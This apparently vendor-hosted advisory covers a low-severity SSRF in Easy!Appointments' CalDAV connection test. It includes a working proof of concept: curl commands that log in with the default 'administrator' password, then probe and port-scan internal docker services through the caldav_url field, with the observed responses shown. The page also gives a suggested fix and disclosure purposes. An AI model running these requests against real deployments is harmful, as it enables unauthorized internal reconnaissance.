CVE-2026-52840

CVE-2026-52840 is a low-severity server-side request forgery (SSRF) vulnerability in alextselegidis/easyappointments (composer), affecting versions <= 1.5.2. No fixed version is listed yet.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network

Caldav::connect_to_server at application/controllers/Caldav.php:60 hands the request's caldav_url to a Guzzle REPORT call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON message field (Caldav.php:74-78), so the SSRF is semi-blind.

Preconditions

  • Backend login on the target instance. Non-admin attackers supply their own provider_id and pass the per-row check at Caldav.php:52; admins can target any row.
  • Default deployment per the project's own docker-compose.yml, which puts mysql, mailpit, phpmyadmin, baikal, openldap, phpldapadmin, and swagger-ui on the same docker network as php-fpm.

Details

// application/controllers/Caldav.php:45-82
public function connect_to_server(): void
{
    try {
        $provider_id = request('provider_id');
        $user_id = session('user_id');

        if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
            throw new RuntimeException('You do not have the required permissions for this task.');
        }

        $caldav_url = request('caldav_url');                                  // (*) attacker-controlled
        $caldav_username = request('caldav_username');
        $caldav_password = request('caldav_password');

        $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);  // (*) sink
        ...
    } catch (GuzzleException | InvalidArgumentException $e) {
        json_response([
            'success' => false,
            'message' => $e->getMessage(),                                    // (*) upstream body reflected
        ]);
    }
}

The per-row check at line 52 only constrains which provider record the caller may write to; it does not constrain where the outbound request lands. $caldav_url flows unchanged into Caldav_sync::test_connection at application/libraries/Caldav_sync.php:389, which calls get_http_client to construct a Guzzle client whose base_uri is the attacker URL (Caldav_sync.php:375-382), then issues REPORT against it via fetch_events at Caldav_sync.php:558. The only input check in get_http_client is filter_var($caldav_url, FILTER_VALIDATE_URL) at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.

When Guzzle raises RequestException, its getMessage() formats as Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>. Caldav::connect_to_server returns that string verbatim in message. For ConnectException (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.

Proof of concept

Setup

  1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:

    git clone https://github.com/alextselegidis/easyappointments
    cd easyappointments
    git checkout 1.5.2
    cp config-sample.php config.php
    docker compose up -d
    until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done
    
  2. Run the console installer. The seed sets administrator's password to the literal string administrator (application/libraries/Instance.php:99):

    docker compose exec -T php-fpm php index.php console install
    
  3. Log in as administrator (the project's session cookie is ea_session) and create an attacker provider. The default require_phone_number=1 setting makes phone_number mandatory:

    export ADMIN_JAR=/tmp/admin.cookies
    curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null
    CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
    curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \
      --data-urlencode "csrf_token=$CSRF" \
      --data-urlencode "username=administrator" \
      --data-urlencode "password=administrator" > /dev/null
    
    CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
    curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \
      --data-urlencode "csrf_token=$CSRF" \
      --data-urlencode 'provider[first_name]=Mal' \
      --data-urlencode 'provider[last_name]=Lory' \
      --data-urlencode 'provider[email][email protected]' \
      --data-urlencode 'provider[phone_number]=+10000000000' \
      --data-urlencode 'provider[timezone]=UTC' \
      --data-urlencode 'provider[language]=english' \
      --data-urlencode 'provider[settings][username]=mallory' \
      --data-urlencode 'provider[settings][password]=Attacker-pw-1' \
      --data-urlencode 'provider[settings][notifications]=0'
    export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
      -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'")
    
  4. Log in as the attacker into a dedicated cookie jar:

    export ATTACKER_JAR=/tmp/attacker.cookies
    curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
    CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
    curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
      --data-urlencode "csrf_token=$CSRF" \
      --data-urlencode "username=mallory" \
      --data-urlencode "password=Attacker-pw-1" > /dev/null
    

Exploit

  1. The attacker probes the nginx container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own $ATTACKER_ID so the row-ownership check at Caldav.php:52 succeeds; the URL has nothing to do with the row:

    CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
    curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
      --data-urlencode "csrf_token=$CSRF" \
      --data-urlencode "provider_id=$ATTACKER_ID" \
      --data-urlencode "caldav_url=http://nginx/some/404/path" \
      --data-urlencode "caldav_username=x" \
      --data-urlencode "caldav_password=x"
    

    Observed (verified on a fresh docker compose up): {"success":false,"message":"Client error: \REPORT http://nginx/some/404/path/` resulted in a `404 Not Found` response:\n\n\n<html lang="en" style="\n height: 100%;\n">\n\n <meta charset="utf-8">\n <meta http-equiv="X- (truncated...)\n"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.

  2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:

    for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do
      CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
      printf '\n=== %s ===\n' "$target"
      curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
        --data-urlencode "csrf_token=$CSRF" \
        --data-urlencode "provider_id=$ATTACKER_ID" \
        --data-urlencode "caldav_url=http://$target/" \
        --data-urlencode "caldav_username=x" \
        --data-urlencode "caldav_password=x"
    done
    

    Observed: mysql:3306 returns cURL error 1: Received HTTP/0.9 when not allowed - port open, not HTTP. swagger-ui:8080 returns Client error: \REPORT http://swagger-ui:8080/\` resulted in a `405 Not Allowed` response: \r\n405 Not Allowed...- port open, HTTP, nginx fronts it.mailpit:8025andphpmyadmin(port 80) return{"success":true}- port open, HTTP, the CalDAVREPORTwas accepted without a 4xx.nonexistent.invalidreturnscURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.

Suggestions to fix

This has not been tested - it is illustrative only.

Reject non-http/https schemes and resolved private addresses before constructing the Guzzle client.

         $caldav_url = request('caldav_url');
+
+        $scheme = parse_url($caldav_url, PHP_URL_SCHEME);
+        $host   = parse_url($caldav_url, PHP_URL_HOST) ?: '';
+        $ip     = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);
+
+        if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host
+            || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+            throw new InvalidArgumentException('CalDAV URL is not allowed.');
+        }
+
         $caldav_username = request('caldav_username');
         $caldav_password = request('caldav_password');

         $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);

Credit

Dredsen, 2026.

Impact

  • Confidentiality: Reaches arbitrary HTTP and HTTPS hosts reachable from the php-fpm container, including loopback, the docker network's mysql, mailpit, phpmyadmin, baikal, openldap services, and any RFC1918 / link-local IP on the host network.
  • Confidentiality: Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON message field, enough to fingerprint internal services and read short error pages, banners, or status documents.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-52840 has a CVSS score of 2.7 (Low). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

alextselegidis/easyappointments (<= 1.5.2)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

No fixed version is listed for CVE-2026-52840 yet.

In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-52840? CVE-2026-52840 is a low-severity server-side request forgery (SSRF) vulnerability in alextselegidis/easyappointments (composer), affecting versions <= 1.5.2. No fixed version is listed yet. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is CVE-2026-52840? CVE-2026-52840 has a CVSS score of 2.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of alextselegidis/easyappointments are affected by CVE-2026-52840? alextselegidis/easyappointments (composer) versions <= 1.5.2 is affected.
  4. Is there a fix for CVE-2026-52840? No fixed version is listed for CVE-2026-52840 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is CVE-2026-52840 exploitable, and should I be worried? Whether CVE-2026-52840 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-52840 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-52840? No fixed version is listed yet. In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.

Other vulnerabilities in alextselegidis/easyappointments

Stop the waste.
Protect your environment with Kodem.